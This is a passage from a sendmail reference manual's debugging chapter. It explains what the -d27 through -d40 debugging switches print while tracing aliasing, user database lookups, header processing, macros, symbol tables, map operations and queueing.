Here, file is each file in the path of files declared by the ForwardPath (J) option (see Section 34.8.27, ForwardPath (J)).

The -d27.3 debugging switch also causes sendmail to trace its wait for another alias rebuild to complete (see Section 24.5.1, "Rebuild the Alias Database"). First sendmail prints the class (such as hash) and filename for which it will wait:

aliaswait(class:file)

If the database is not rebuildable (as would be the case with a network map class like nis, nis+, or hesiod), the -d27.3 debugging switch causes the following to be printed:

aliaswait: not rebuildable

If the file specified doesn't exist, the -d27.3 debugging switch prints

aliaswait: no source file

The -d27.3 debugging switch also causes sendmail to print an error message if there was a read error while processing a :include: or .forward file:

include: read error: reason here

37.5.91 -d27.4

Print not safe

(useful)

A ~/.forward file must be owned by the user or by root. If it is not, it is considered unsafe, and sendmail ignores it. The -d27.4 debugging switch causes sendmail to print a message describing any such file it finds unsafe:

include: not safe (uid=uid)

Note that a file is considered unsafe if, among other things, it lacks all read permissions.

The -d27.4 debugging switch also causes sendmail to print information about a :include: file beyond that printed with -d27.2 above:

include(file)               <-  printed with -d27.2
   ruid=ruid euid=euid      <-  printed with -d27.4

This shows the real userID (ruid) and effective userID (euid) of the current running sendmail.

The -d27.4 debugging switch also causes sendmail to print an error if a :include: or ~/.forward file cannot be opened for reading:

include: open: reason here

37.5.92 -d27.5

Trace aliasing with printaddr()

The -d27.5 debugging switch tells sendmail to print several addresses with printaddr() (see Section 37.3.1) as each one is handled.

When an address is aliased to another, the original needs to be marked as one that shouldn't be delivered. The QDONTSEND below means just that:

alias: QDONTSEND output of printaddr() here (see Section 37.3.1)

If there was a self-reference, the retained address is printed like this:

sendtolist: QSELFREF output of printaddr() here (see Section 37.3.1)

If the original (before the test for a self-reference) is not the same as the retained address, the original must be marked for nondelivery:

sendtolist: QDONTSEND output of printaddr() here (see Section 37.3.1)

If an address resulted from a :include: or ~/.forward file, it will have a controlling user associated with it. That controlling user's address needs to be marked for nondelivery:

include: QDONTSEND output of printaddr() here (see Section 37.3.1)

37.5.93 -d27.8

Show setting up an alias map

The -d27.8 debugging switch tells sendmail to print the string passed to its internal setalias() routine.

setalias(what)

Here, what is one of the items listed with the AliasFile (A) option (see Section 34.8.1), such as /etc/aliases, or implied with the service-switch file and the ServiceSwitchFile option (see Section 34.8.61).

37.5.94 -d27.9

Show uid/gid changes with :include: reads

(useful)

The -d27.9 debugging switch causes sendmail to trace the setting and resetting of its uid and gid identities when processing :include: and ~/.forward files. First an additional line is printed below the output of the -d27.2 and -d27.4 debugging switches:

include(file)               <-  printed with -d27.2
   ruid=ruid euid=euid      <-  printed with -d27.4
include: old uid = ruid/euid

The second and third lines above both contain the same information. After the new line is printed, sendmail may or may not change its identity depending on the nature of a :include: or ~/.forward file and that file's controlling user. Whether it changed or not, sendmail prints:

include: new uid = ruid/euid

After sendmail has finished processing a :include: or ~/.forward file, it resets its uid and gid back to their original values and displays the result:

include: reset uid = ruid/euid

37.5.95 -d27.14

Show controlling user that caused change in identity

The -d27.14 debugging switch causes sendmail to print the controlling user's address that led to the changing of the uid and gid or the currently running process:

include(file)                   <-  printed with -d27.2
   ruid=ruid euid=euid          <-  printed with -d27.4
ctladdr addr                    <-  output of printaddr() produced with this -d27.14
include: old uid = ruid/euid    <-  printed with -d27.9

The output of the printaddr() routine is described in Section 37.3.1.

37.5.96 -d27.20

Show how alias will be looked up in a map

The -d27.20 debugging switch causes sendmail to show how it is about to look up an alias in one of its database maps:

setalias(what)         <-  printed with -d27.8
   map class:map what

Here, class is the type of map being looked up, such as hash or implicit (see Section 33.3, "The K Configuration Command"). The map is the map name, such as Alias0. The what is one of the items listed with the AliasFile (A) option (see Section 34.8.1), such as /etc/aliases, or implied with the service-switch file and the ServiceSwitchFile option (see Section 34.8.61).

37.5.97 -d28.1

Trace user database transactions

(useful)

The sendmail program can be compiled to use the user database (see Section 33.5, "The User Database") by defining USERDB in the Makefile (see Section 18.8.54, USERDB). If an address is selected by rule set 0 for delivery by a delivery agent with the F=l flag set, and if it remains unaliased even if the F=A flag is set, it is looked up in the user database. The -d28.1 (a.k.a. -d28) debugging switch is used to watch the interaction between sendmail and the user database:

udbexpand(addr)

Here, addr is the address being looked up.

The sender is looked up in a similar fashion. The intent in this case is to correct information such as the return address:

udbmatch(login, what)

Here, login is the login name of the sender and what is the mailname for sender lookups. If the lookup is via hesiod, sendmail will print the same information like this:

hes_udb_get(login, what)

If the sender is found in the database, sendmail prints:

udbmatch ==> login@defaulthost

Here, login may be a new login name. The defaulthost is either the sitewide host for all reply mail as defined in the user database or the default destination host for a particular user.

In the event that a db(3) style user database fails to open, the -d28.1 debugging switch displays the following error message:

dbopen(database):  reason for failure here

37.5.98 -d28.2

Show no match

The -d28.2 debugging switch causes sendmail to print any failures in lookups:

udbmatch: no match on login (length) via method

This shows that the name login was looked up with a particular length, using the database method, where method is either db or hesiod.

37.5.99 -d28.4

Show result of lookup

The -d28.4 debugging switch causes sendmail to print the result of its attempt to open (initialize) each database. There are three possible results:

  1. If a file on the local machine contains the information sought, sendmail prints

    FETCH: file fname

    Here, fname is the name of the local file.

  2. If a mail message should be sent to another host for delivery, sendmail prints:

    FORWARD: host hostname

    Here, hostname is the full canonical name of the host that takes delivery.

  3. An unknown result causes the address to remain unchanged and the following message to be printed:

    UNKNOWN

37.5.100 -d28.8

Try hes-getmailhost()

If sendmail is compiled with HES_GETMAILHOST defined (see Section 18.8.11, HES-GETMAILHOST), the following is printed when the -d28.8 debugging switch is used:

udbmatch: no match on login (length)    <-  from -d28.2
  ... trying hes_getmailhost (login)
udbexpand: hesiod-getmail login stat err

Here, hes_getmailhost() is called to retrieve the name of the post office that handles this login. If that call fails, the last line is printed, showing that the hesiod error err occurred.

37.5.101 -d28.16

MX records for forward host

If a lookup is for a forwarding host (FORWARD above) and the forwarding host has MX records, the -d28.16 debugging switch causes those records to be printed:

getmxrr(host): number
    first MX record here
    second MX record here
    etc.

Here, host is the name of the host to which the lookup is forwarded. The number is the number of MX records found. That line is then followed by number MX records for that host.

37.5.102 -d28.20

Show udb lookup

The internal udb_map_lookup() routine is called each time anything is looked up in the udb database. Upon entry into that routine, the -d28.20 debugging switch causes sendmail to print

udb_map_lookup(name, what)

Here, the what is key about to be looked up in the map named name. This routine in turn calls udbmatch(). Note that the -d38.20 debugging switch also produces this output.

37.5.103 -d28.80

Preview lookups

The -d28.80 debugging switch causes sendmail to show what it is about to lookup.

udbexpand: trying login (length) via method

This shows that the name login was looked up with a particular length, using the database method, where method is either db or hesiod.

The -d28.80 debugging switch also causes the result of a lookup to be displayed:

udbexpand: match login: result

Here, login was found, and the lookup returned result.

The -d28.80 debugging switch also causes the result of hes_udb_get() to be displayed:

hes_udb_get(login, what)              <-  printed with -d28.1
hes_udb_get => result                 <-  printed with -d28.80

Here, the hesiod library routine hes_resolve(3) is called with the two arguments login and what. The result (a string) is printed on the second line.

37.5.104 -d29.1

Special rewrite of local recipient

With a level 2 or greater configuration file (see the V configuration command in Section 27.5, "The V Configuration Command"), V8 sendmail passes the user part ($u) of local recipient addresses through rule set 5 as a hook to select a new delivery agent. Rule set 5 is called if the address is unchanged after all aliasing (including the ~/.forward file). The -d29.1 (a.k.a. -d29) debugging switch causes the address to be printed as it appears before the rule set 5 rewrite:

maplocaluser: output of printaddr() here (see Section 37.3.1)

Information about the address is printed with the printaddr() routine. The output of maplocaluser() becomes the input to recipient(), so the result of rewriting can be seen by using the -d26.1 debugging switch in combination with this one.

Note that the particulars about whether or not an address will be processed by rule set 5 are described in -d29.5 below.

37.5.105 -d29.4

Trace fuzzy matching

(useful)

Fuzzy matching is the attempt to match a local recipient name to one of the names in the gecos field of the passwd(5) file (or NIS map). The -d29.4 debugging switch causes the process of fuzzy matching to be traced:

finduser(name)

Here, name is an address in the form of a local user address, without the host part. The name is first looked up in the passwd(5) file on the assumption that it is a login name. If it is found, sendmail prints

found (non-fuzzy)

If sendmail was compiled with hesiod support, all numeric login names will not work properly, resulting in the following:

failed (numeric input)

If the name is looked up and not found, the entire passwd(5) is searched, to see whether name appears in any of the gecos fields. This search is done only if MATCHGECOS (see Section 18.8.18, MATCHGECOS) was defined when sendmail was compiled and if the MatchGECOS (G) option (see Section 34.8.34, MatchGECOS (G)) is true. If MATCHGECOS was undefined, the search ends and the not-found name causes the mail to bounce. If the MatchGecos (G) option is false, sendmail bounces the message and prints the following:

not found (fuzzy disabled)

If the MatchGecos (G) option is true, the gecos fields are searched. But before the search starts, any underscore characters (and the character defined by the BlankSub (B) option; see Section 34.8.5, BlankSub (B)) that appear in name are converted to spaces. Then, in turn, each gecos field has the full name extracted (everything following the first comma, semicolon, or percent is truncated off, including that character), and any & characters found are converted to the login name. The two are then compared in a case-insensitive fashion. If they are identical, sendmail prints:

fuzzy matches gecos

If all gecos fields are compared and no match is found, sendmail bounces the message and prints the following:

no fuzzy match found

There is no debugging flag to watch each comparison.

37.5.106 -d29.5

Preview rule set 5

The -d29.5 debugging switch causes sendmail to print an address just before it is tested to see whether rule set 5 should be called:

recipient: testing local?  cl=level, rr5=addr,

                                         output of printaddr() here (see Section 37.3.1)

For the address to be rewritten, the configuration file version as displayed by level must be 2 or more, the address in memory for rule set 5 (shown with rr5) must be nonzero, the flags in addr must not contain QNOTREMOTE, QDONTSEND, QQUEUEUP, or QVERIFIED, and the delivery agent for the address must have the F=5 flag set.

The -d29.5 debugging switch also causes sendmail to display the following if the address is rewritten by rule set 5:

maplocaluser: QDONTSEND output of printaddr() here (see Section 37.3.1)

Here the printaddr() routine prints the old address that is being canceled.

37.5.107 -d29.7

Show over-aliasing fuzzy fallback

If a fuzzy match causes more than three transformations to occur during aliasing, sendmail emits the following error:

aliasing/forwarding loop for login broken

Here, login is the login name of the recipient that started the suspected runaway aliasing. The -d29.5 debugging switch also causes sendmail to print that it is trying to fall back to the original login name for delivery:

at trylocaluser login

Note that this message is printed before the message printed by the -d26 switch (which shows the testing for a self-destructive addresses).

37.5.108 -d30

Trace processing of header

When sendmail reads a mail message, it first collects (reads) the header portions of that message (everything up to the first blank line) and places the result into a temporary file in the queue directory. While it is processing the header, if the SaveFromLine (f) option (see Section 34.8.59, SaveFromLine (f)), is false, the UNIX-style "From " header is removed, and the important information in it is saved for later use.

The -d30.1 (a.k.a. -d30) debugging switch causes sendmail to print the following succinct message when it finds the end of the header portion of a mail message:

EOH

If end-of-headers was caused by a read error or a broken connection, sendmail prints:

collect: premature EOM:  reason for failure here

If end-of-headers was caused by a Message: or Text: header, then the rest of the header portion of the message is ignored.

37.5.109 -d30.2

Eatfrom

The -d30.2 debugging switch first causes sendmail to print its entry into collect():

collect

Then, when sendmail strips (eats) the UNIX-style, five-character "From " header from a mail message, it tries to extract (and save) the date from the header. The -d30.2 debugging switch causes sendmail to print the field portion of the header as it appears before the date is extracted:

eatfrom(field)

The eatfrom() routine will vanish if NOTUNIX (see Section 18.8.32, NOTUNIX) is defined when compiling sendmail.

37.5.110 -d30.3

Show a to-less header being added

If the header of a mail message lacks recipient information (lacks all of the To:, Cc:, Bcc:, and Apparently-To: header lines), then sendmail adds a header as defined by the NoRecipientAction option (see Section 34.8.43, NoRecipientAction). The -d30.3 debugging switch causes sendmail to print which header it is adding:

Adding header: recipient

Here, header is the text of the header being saved, and recipient is the address of the recipient as taken from the envelope of the message.

37.5.111 -d30.35

Trace collect states

The process of collecting the message header and body over an SMTP connection is driven by a state engine inside sendmail. The -d30.35 debugging switch causes sendmail to display each state just before it is processed:

top, istate=is, mstate=ms

Here, is is the current input state as described in Table 37.11 and ms is the current message state as described in Table 37.12.

Table 37.11: collect() Input States
istate | Name | Description
0 | IS_NORM | Currently in middle of a line
1 | IS_BOL | Currently at beginning of a line
2 | IS_DOT | Just read a dot at beginning of line
3 | IS_DOTCR | Just read ".\r" at beginning of line
4 | IS_CR | Just read a carriage return
Table 37.12: collect() Message States
mstate | Name | Description
0 | MS_UFROM | Currently reading UNIX from line
1 | MS_HEADER | Currently reading message header
2 | MS_BODY | Currently reading message body

The -d30.35 debugging switch also causes the same information to be printed every time sendmail goes to a new state:

nextstate, istate=is, mstate=ms, line = "header"

Here, the extra information is the current text of the header being processed.

37.5.112 -d30.94

Trace collect states

The -d30.94 debugging switch causes sendmail to print the input state (see Table 37.11) for each character being processed:

istate=is, c=char (hex)

Each character is printed both as the character it is (char) and how it is represented in hexadecimal (hex).

37.5.113 -d31.2

Trace processing of headers

(useful)

Header lines (see Section 35.1, "The H Configuration Command") from the configuration file and from mail messages are processed by the chompheader() routine before they are included in any mail message. That routine parses each header line to save critical information, to check for validity, and to replace default values with new values.

The -d31.2 debugging switch [6] shows that sendmail is about to check whether it should replace a From: or Resent-From: header with the one defined by the H configuration command. If the configuration file is not being read and if sendmail is not processing the queue, the following test is made:

[6] There is no -d31.1 information.

comparing header from (header) against default (addr or name)

The value of the From: or Resent-From: header is compared to the sender's address (addr) and to the sender's name. If it is that same as either one, the address is replaced.

37.5.114 -d31.6

Entering chompheader()

The -d31.6 debugging switch shows each header as it appears when it enters the chompheader() routine:

chompheader: line

Here, line is the exact text of the original header before processing. Unfortunately, there is no debugging switch that allows the result of this processing to be viewed.

To determine how it should handle a header, sendmail compares each header to its list of headers in sendmail.h. The -d31.6 debugging switch also shows the result after the comparisons have been done:

no header match

header match, hi_flags= flags in hexadecimal here

The flags and their hexadecimal equivalence are shown in Table 35.2 in Section 35.5, "Header Behavior in conf.c".

37.5.115 -d32.1

Show collected headers

The -d32.1 (a.k.a. -d31) debugging switch causes sendmail to print the header lines that it collected from a received mail message:

--- collected header ---
     header lines here
--------------

Each header line is printed with the header name on the left, a colon, and the value for that header on the right. If there is no value, sendmail prints <NULL>.

If the H_DEFAULT flag is set for any header (see Section 35.5.3, "H_DEFAULT"), the value for the header is printed inside parentheses with macros unexpanded, just before it is printed in expanded form. For example,

Full-Name: ($x) Your Full Name

37.5.116 -d32.2

Show ARPA mode with setsender

The -d32.2 debugging switch works only if the mode set with the -b command-line switch is in ARPA (-ba) mode (see Section 36.7.3, -ba). It shows the sender address being extracted from the header with setsender():

eatheader: setsender(*value == realvalue)

The setsender() routine can be further traced with the -d45.1 debugging switch.

37.5.117 -d33.1

Watch crackaddr()

The crackaddr() routine's job is to find an email address amidst other nonaddress text, then to save that nonaddress part:

gw@wash.dc.gov (George Washington)    ->  crackaddr()   ->  $g (George Washington)

The -d33.1 (a.k.a. 33) debugging switch causes sendmail to print the potential address prior to cracking and, after that, the address that it found:

crackaddr(potential)
crackaddr=>`addr'

The legal ways that addresses can be placed within other text is described in Section 35.3, "Header Field Contents". See also the /parse rule-testing command (Section 38.5.5, "Parse an Address with /parse") to put crackaddr() in context.

37.5.118 -d34.1

Watch header assembly for output

The sendmail program uses putheader() to create headers that didn't exist before. The -d34.1 (a.k.a. -d34) debugging switch causes sendmail to print the following on entry to that routine:

-- putheader, mailer = agent --

Here, agent is the symbolic name of the delivery agent that will deliver the bounced message.

37.5.119 -d34.11

Trace header generation and skipping

(useful)

Each header line created is displayed with two leading spaces. For example,

-- putheader, mailer = *file* --
  Return-Path: you

Then certain headers are excluded from the bounced mail message header. Those with the H_CTE flag set (see Section 35.5.12, "H_CTE") and either the MCIF_CVT8TO7 or MCIF_INMIME mci flags set (see Table 37.17) will have the text:

(skipped (content-transfer-encoding))

appended and that header skipped (excluded).

Any header that has both H_CHECK and H_ACHECK flags set and doesn't have identical delivery agent flags set for itself and its cached connection information will also be skipped:

(skipped)

All resent headers (those marked with H_RESENT) are also skipped:

(skipped (resent))

Return-receipt headers are also skipped:

(skipped (receipt))

If a Bcc: header (see Section 35.10.4, Bcc:) is being skipped, this is printed:

(skipped - bcc)

Finally, valueless headers are also skipped with this message:

(skipped - null value)

Any headers that survive this skipping process are included in the eventually delivered bounced message. Note that MIME headers are not generated or displayed here (see -d43).

37.5.120 -d35.9

Macro values defined

(useful)

The -d35.9 debugging switch [7] causes sendmail to print each macro as it is defined. The output looks like this:

[7] There is no -d35.1 information.

define(name as "value")

Here, the name is the macro's name, and the value is the value (text) assigned to the macro. If the macro already has a value assigned to it, sendmail prints:

redefine(name as "value")

37.5.121 -d35.14

Macro Identification

With the introduction of multicharacter macro names, it is now necessary for sendmail to convert each macro name from text form into sendmail's internal form. Single-character macro names are represented by themselves. Multicharacter names are represented by values from 0240 (octal) upward. The -d35.14 debugging switch causes sendmail to print each macro name as it is being looked up:

macid(name) => value

The name is the text immediately following a $ character, including any trailing junk in the line. For example, the following miniconfigurations file:

V7
D{FOO}foo
R$H     ${FOO}  note no $H defined

produces this output (with only the macid lines shown):

macid({FOO}foo) => 0xa0
macid(H\t${FOO}\tnote no $H defined) => H
macid({FOO}\tnote no $H defined) => 0xa0
macid(H defined) => H

37.5.122 -d35.24

Macro expansion

Macros that are included in text must be translated into values (expanded) so that the values may be used. The -d35.24 debugging switch tells sendmail to display such text both before and after the macros in it have been expanded. The "before" looks like this:

expand("text")

For example,

expand("$w.$D")

The text (here $w.$D) may be any ASCII string. In it, special characters like the newline character are printed in C language, backslash-escaped notation (such as \n). Macros are printed with either the $ prefix (such as $w above with V8 sendmail) or some other prefix (IDA uses ^Aw.^AD, SunOS uses /w./D; others use the archaic \001w.\001D notation).

Expansion is performed only on defined macros (using the $ prefix), on macro conditionals (in which one of two values is used, depending on whether a macro has a value or not, such as $?x$x$|nobody$.), and and on the $& prefix (deferred expansion).

After the first (leftmost) macro or conditional is expanded in text, sendmail prints the transformed text as follows:

expanded ==> "text"

For example,

expanded ==> "wash.$D"

If any unexpanded macros or conditionals remain in text, this expanded process is recursively repeated until everything that can be expanded has been expanded. This process of recursion allows macros to have other macros as their values.

37.5.123 -d36.5

Trace processing by stab()

The symbol table is a block of memory that contains information about all the symbolic names used by sendmail. Symbolic names are delivery agent names (such as local), aliases, database classes, hostnames, and macros. Symbols are placed into the symbol table with the stab() routine. That routine is also used to see whether a symbol has already been inserted and, if so, to obtain its value. The -d36.5 debugging switch [8] causes sendmail to print the following upon its entry into the stab() routine:

[8] There is no -d36.1 information.

STAB: name type

Here, name is the symbolic name to be inserted or looked up. The type is one of the values listed in Table 37.13.

Table 37.13: Types of Symbols Recognized by stab()
Type | Mnemonic | Description
0 | ST_UNDEF | Undefined type
1 | ST_CLASS | Class (from C and F configuration commands)
2 | ST_ADDRESS | An address in parsed format
3 | ST_MAILER | A delivery agent (from M configuration command)
4 | ST_ALIAS | An alias, if no external database
5 | ST_MAPCLASS | A database class (K command)
6 | ST_MAP | Function that handles a class
7 | ST_HOSTSIG | Host MX signature
8 | ST_NAMECANON | Cached canonical name
9 | ST_MACRO | Macro name to id value mapping
10 | ST_RULESET | Ruleset name to number mapping
11 | ST_SERVICE | Service switch file entry
16 | ST_MCI | SMTP connection status\*[=a]

This is the base (offset) of types 16 through 16+n, where n is 16 plus MAXMAILERS as defined in conf.h. If stab() is being used to insert a symbol, the above output is concluded with:

entered

If stab() is being used to look up a symbol, one of the two following messages is printed:

not found
type type val hex hex hex hex

If it is found, four hexadecimal values are printed, which show the first four 4-byte words of the value.

37.5.124 -d36.9

Show hash bucket

A hashing algorithm is used to make the symbol table more efficient. The -d36.9 debugging switch is used to see the hash value selected for any given symbol:

(hfunc=hash)

The number of possible hash-table buckets is limited by STABSIZE, as defined in stab.c. [9]

[9] You can experiment with different hashing algorithms by modifying the code in stab.c. But note that it has already been heavily tuned in V8.7, roughly doubling its speed over that of earlier versions.

37.5.125 -d36.90

Trace function applied to all symbols

The -d36.90 debugging switch causes the name and type of each symbol to be printed as a common function is applied to each with sendmail's internal stabapply() function.

stabapply: trying type/name

The stabapply() routine is used to initialize maps and to print the members of a class.

37.5.126 -d37.1

Trace setting of options

(useful)

Options can be set on the command line or in the configuration file. The -d37.1 (a.k.a. -d37) debugging switch allows you to watch each option being defined. As each is processed, this message is first printed, without a trailing newline:

setoption: name (char).sub=val

Here, name is the option's multicharacter name, char is its single-character equivalent (or a hexadecimal value if it is non-ASCII), and sub is the subvalue for that option if there was one. Finally, val is the value being given to that option. If the option has already been set from the command line and is thus prohibited from being set in the configuration file, sendmail prints:

(ignored)

A newline is then printed, and the job is done. If defining the option is permitted, sendmail next checks to see whether it is safe. If it is not, sendmail prints:

(unsafe)

If it is unsafe, sendmail checks to see whether it should relinquish its root privilege. If so, it prints:

(Resetting uid)

A newline is then printed, and the option has been defined. Options in general and safe versus unsafe are covered in Chapter 34, Options.

37.5.127 -d37.8

Trace adding of words to a class

(useful)

The adding of words to a class (C or F configuration commands) can be traced with the -d37.8 debugging switch. Each word is printed like this:

setclass(name, text)

The text is added to the class whose symbolic name is name. Class names can be single-character or multicharacter (see Section 32.1, "Class Configuration Commands").

37.5.128 -d38.2

Show map opens and failures

(useful)

Most maps are declared directly with the K configuration command (see Section 33.3). Others are declared internally by sendmail, such as the host and alias maps. The -d38.2 debugging switch [10] first shows maps being initialized:

[10] There is no -d38.1 information.

map_init(class:name, file, pass)

Here, class is one of the internal classes allowed by sendmail, such as host, and dequote (see Section 33.3, the K configuration command). The name is either the name you gave to the map with the K configuration command or one assigned internally by sendmail (like aliases.files). The file is either NULL or the name of the database file (such as /etc/aliases). And pass is a flag that tells sendmail whether or not it should open the database, rebuild the database, or do neither.

Next the -d38.2 debugging switch causes sendmail to show each map as it is about to be opened. The output that is produced will look like one of the following lines:

bt_map_open(name, file, mode)
hash_map_open(name, file, mode)
hes_map_open(name, file, mode)
impl_map_open(name, file, mode)
ldap_map_open(name, mode)
ndbm_map_open(name, file, mode)
ni_map_open(name, file, mode)
nis_map_open(name, file, mode)
nisplus_map_open(name, file, mode)
stab_map_open(name, file, mode)
switch_map_open(name, file, mode)
text_map_open(name, file, mode)
user_map_open(name, mode)

In all of the previous lines, the mode is a decimal representation of the file permissions that are used during the open. The name prefixing each line corresponds to the class of map. For example, impl corresponds to the implicit class.

The -d38.2 debugging switch also causes sendmail to display the nis domain that was used if one was specified for the nisplus class:

nisplus_map_open(file): using domain ypdomain

The -d38.2 debugging switch also allows other silent errors to be printed about some open failures. Under nis+, lookups are performed by named columns (as in the case of the password database, the columns are named passwd, shell, and so on):

nisplus_map_open(name): can not find key column colname
nisplus_map_open(name): can not find column colname

Text files that are used as maps must be declared with a filename that is an absolute path (begins with a / character thus forming a fully qualified pathname), that exists, and that is a regular file. If there is a problem, one of the following is logged (even if -d38.2 is not specified):

text_map_open: file name required
text_map_open(file): file name must be fully qualified
text_map_open(name): can not stat file
text_map_open(name): file is not a file

Text files should be syntactically correct. The delimiting character, char, will print either as a single character or as the phrase (whitespace). Note that the third line below will be reported only when the -d38.2 debugging switch is used:

text_map_open(file): -k should specify a number, not badtext
text_map_open(file): -v should specify a number, not badtext
text_map_open(file): delimiter = char

37.5.129 -d38.3

Show passes

The sendmail program initializes maps in passes so that it can open a map for reading or rebuild. That is, pass 0 opens it for reading only, and passes 1 and 2 open it for updating. This gives sendmail the opportunity to detect optional maps. The -d38.3 debugging switch causes sendmail to print wrong pass every time it skips rebuilding because the pass is inappropriate:

map_init(class:name, file, pass)    <-  from -d38.2
wrong pass

The -d38.3 debugging switch also causes sendmail to print a failure message if an implicit class map does not exist:

impl_map_open(name, file, mode)     <-  from -d38.2
no map file

37.5.130 -d38.4

Show result of map open

(useful)

When rebuilding the aliases files, each database is opened before it is rebuilt or not. The -d38.4 debugging switch shows the success or failure of each open:

map_init(class:name, file, pass)    <-  from -d38.2
     class:name file valid or invalid

The status is valid if the open succeeded; otherwise, it is invalid.

The -d38.4 debugging switch also shows each map being looked up in a switch class map (see Section 33.8.17, switch).

switch_map_open(name, file, mode)    <-  from -d38.2
        map_stack[index] = class:name

If the name is not one that was declared in a K configuration command, the following error is printed:

Switch map class: unknown member map name

37.5.131 -d38.9

Trace map closings and appends

The -d38.9 debugging switch traces map closures for those kind of maps that can be closed:

ndbm_map_close(name, file, flags)
db_map_close(name, file, flags)
impl_map_close(name, file, flags)
prog_map_lookup(name) failed (errno) - closing
seq_map_close(name)

Here, the name is either the name you gave to the map with the K configuration command or one assigned internally by sendmail (like aliases.files). The file is the filename on disk that contains the database. The flags describe the specific features of a map. They are printed in hexadecimal, and the meanings of the values printed are listed in Table 37.14.

Table 37.14: Flags Describing Properties of Database Maps
Hex | Text | Description
00001 | MF_VALID | This entry is valid.
00002 | MF_INCLNULL | Include null byte in key.
00004 | MF_OPTIONAL | Don't complain if map not found.
00008 | MF_NOFOLDCASE | Don't fold case in keys.
00010 | MF_MATCHONLY | Don't use the map value.
00020 | MF_OPEN | This entry is open.
00040 | MF_WRITABLE | Open for writing.
00080 | MF_ALIAS | This is an alias file.
00100 | MF_TRY0NULL | Try with no null byte.
00200 | MF_TRY1NULL | Try with the null byte.
00400 | MF_LOCKED | This map is currently locked.
00800 | MF_ALIASWAIT | Alias map in aliaswait state.
01000 | MF_IMPL_HASH | Implicit: underlying hash database.
02000 | MF_IMPL_NDBM | Implicit: underlying ndbm database.
04000 | MF_UNSAFEDB | This map is world writable.
08000 | MF_APPEND | Append new entry on rebuild.
10000 | MF_KEEPQUOTES | Don't dequote key before lookup.

In addition to tracing map closures, the -d38.9 debugging switch traces map appends allowed by the MF_APPEND flag (see Section 33.3.4.1, "-A append values for duplicate keys (V8.7 and above)") as specified when the database is declared by the K configuration command:

ndbm_map_store append=new
db_map_store append=new

Here new is new value appended to the old. Since this property is used for alias files, the new and old values have a comma inserted between them.

37.5.132 -d38.10

Trace NIS search for @:@

The NIS alias map needs to contain a @:@ entry to indicate that it is fully updated and ready for reading. But because HP-UX omits the @:@, it is useful only as a check to see whether the NIS map exists. The -d38.10 debugging switch causes the result of this check to be printed as:

nis_map_open: yp_match(@, domain, nismap)

Here, domain is the NIS domain, and nismap is usually mail.aliases (but it can be redefined in your configuration file; see Section 34.8.1). If the map is not marked as optional (see Section 33.3.4.8, "-o the database file is optional (V8.1 and above)"), the following error will be printed:

Cannot bind to map nismap in domain domain:  reason here

The -d38.10 debugging switch also traces the NIS+ open's check for a valid table.

nisplus_map_open: nisplusmap.domain is not a table

Essentially, this says that the NIS+ map nisplusmap (in the domain shown) does not exist. The error is printed even if the -o (optional) database switch (see Section 33.3.4.8) is missing.

37.5.133 -d38.12

Trace map stores

The -d38.12 debugging switch shows values being stored in maps that support updates.

db_map_store(name, key, value)
ndbm_map_store(name, key, value)
seq_map_store(name, key, value)

Here, the name is either the name you gave to the map with the K configuration command or the name assigned internally by sendmail (like aliases.files). The key is the key for which the new value is being stored, and the value is the value for that key.

37.5.134 -d38.19

Trace switch map finds

(useful)

A switched map is one that, either as the result of a service-switch file or because of sendmail's internal logic, causes lookups to follow a select path. For example, Sun's Solaris 2 nsswitch.conf might specify that aliases be looked up in the order files, then nis:

switch_map_open(name, file, mode)    <-  from -d38.2
switch_map_find => nmaps
                maptype
                ...

First the number of maps found is printed with nmaps, then each type of map found in the list is printed. Each is a class name, such as files, or nis.

37.5.135 -d38.20

Trace map lookups

(useful)

The -d38.20 debugging switch traces many different map lookups. The getcanonname() routine looks up a hostname and tries to canonify it:

getcanonname(host), trying maptype
getcanonname(host), found
getcanonname(host), failed, stat=error

Here, host is the hostname that is being looked up, and maptype is one of files, nis, nisplus, dns, or netinfo. If the canonical name is not found, the error shows one of the errors listed in <sysexits.h>. The process of canonifying the name is handled by calling special subroutines based on the maptype:

text_getcanonname(host)				  <-  maptype is files
nis_getcanonname(host)				  <-  maptype is nis
nisplus_getcanoname(host), qbuf=query		  <-  maptype is nisplus
dns_getcanonname(host, flag)			  <-  maptype is dns, printed with -d8.2
ni_getcanonname(host)				  <-  maptype is netinfo

The nisplus_getcanoname() routine is far more verbose than the other. In addition to the information printed above, the -d38.20 switch also prints

nisplus_getcanoname(host), got count entries, all but first ignored
nisplus_getcanoname(host), found in directory "nisdir"
nisplus_getcanonname(host), found result
nisplus_getcanonname(host), failed, status=nsistatus, nsw_stat=errno

The -d38.20 debugging switch also traces general lookups in various kinds of databases. Again note that nisplus is more verbose than the others:

ndbm_map_lookup(name, key)
db_map_lookup(name, key)
nis_map_lookup(name, key)
nisplus_map_lookup(name, key)
qbuf=query
nisplus_map_lookup(key), got count entries, additional entries ignored
nisplus_map_lookup(key), found value
nisplus_map_lookup(key), failed
hes_map_lookup(name, key)
ni_map_lookup(name, key)
stab_lookup(name, key)
impl_map_lookup(name, key)
user_map_lookup(name, key)
prog_map_lookup(name, key)
prog_map_lookup(name): empty answer
seq_map_lookup(name, key)

Here, the name is either the name you gave to the map with the K configuration command or one assigned internally by sendmail (such as aliases.files). The key is the item being looked up. The file is the pathname of the file that contains the database.

37.5.136 -d38.44

Show nis-getcanonname() record

The -d38.20 debugging switch described above prints the nis lookup of the canonical hostname. This -d38.44 debugging switch prints the result of that lookup:

nis_getcanonname(host)            <-  from -d38.20
got record `result\'

37.5.137 -d39.1

Display %digit database mapping

When the RHS of a rule matches an entry in a database map with $( and $), that entry replaces the key. If the entry contains %digit literals, they are replaced by corresponding $@ values in the RHS (see Section 33.4.2, "Specify Numbered Substitution with $@").

The -d39.1 (a.k.a. -d39) debugging switch causes sendmail to print the entry and any replacement values:

map_rewrite(entry), av =
       value1
       value2
       ...etc

After the RHS is rewritten (after all the $@ values have replaced all the %digit literals), sendmail prints the result:

map_rewrite => rewritten RHS here

37.5.138 -d40.1

Trace processing of the queue

The -d40.1 (a.k.a. -d40) debugging switch traces the placing of a mail message into the queue and the processing of queued files.

When a mail message is placed into the queue, its qf file is written as a tf temporary file; then that temporary file is closed and renamed to be the qf file. The -d40.1 debugging switch causes sendmail to announce that it is beginning that process by printing the queued message's identifier:

>>>>> queueing qid(new id) >>>>>
queueing  for each recipient, output of printaddr() here (see Section 37.3.1)
<<<<< done queueing qid <<<<<

